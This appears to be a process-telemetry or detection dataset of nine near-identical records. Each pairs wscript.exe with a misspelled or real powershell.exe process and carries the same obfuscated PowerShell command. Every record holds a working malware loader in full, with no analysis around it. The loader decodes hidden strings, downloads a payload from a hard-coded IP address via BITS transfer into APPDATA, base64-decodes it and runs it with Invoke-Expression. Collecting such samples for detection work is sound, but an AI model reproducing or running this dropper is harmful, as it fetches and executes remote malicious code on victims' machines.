parent_process wscript.exe martian_process powers€ell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powersqell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powersyell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powersell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powersnell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powersrell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powers~ell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powershell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
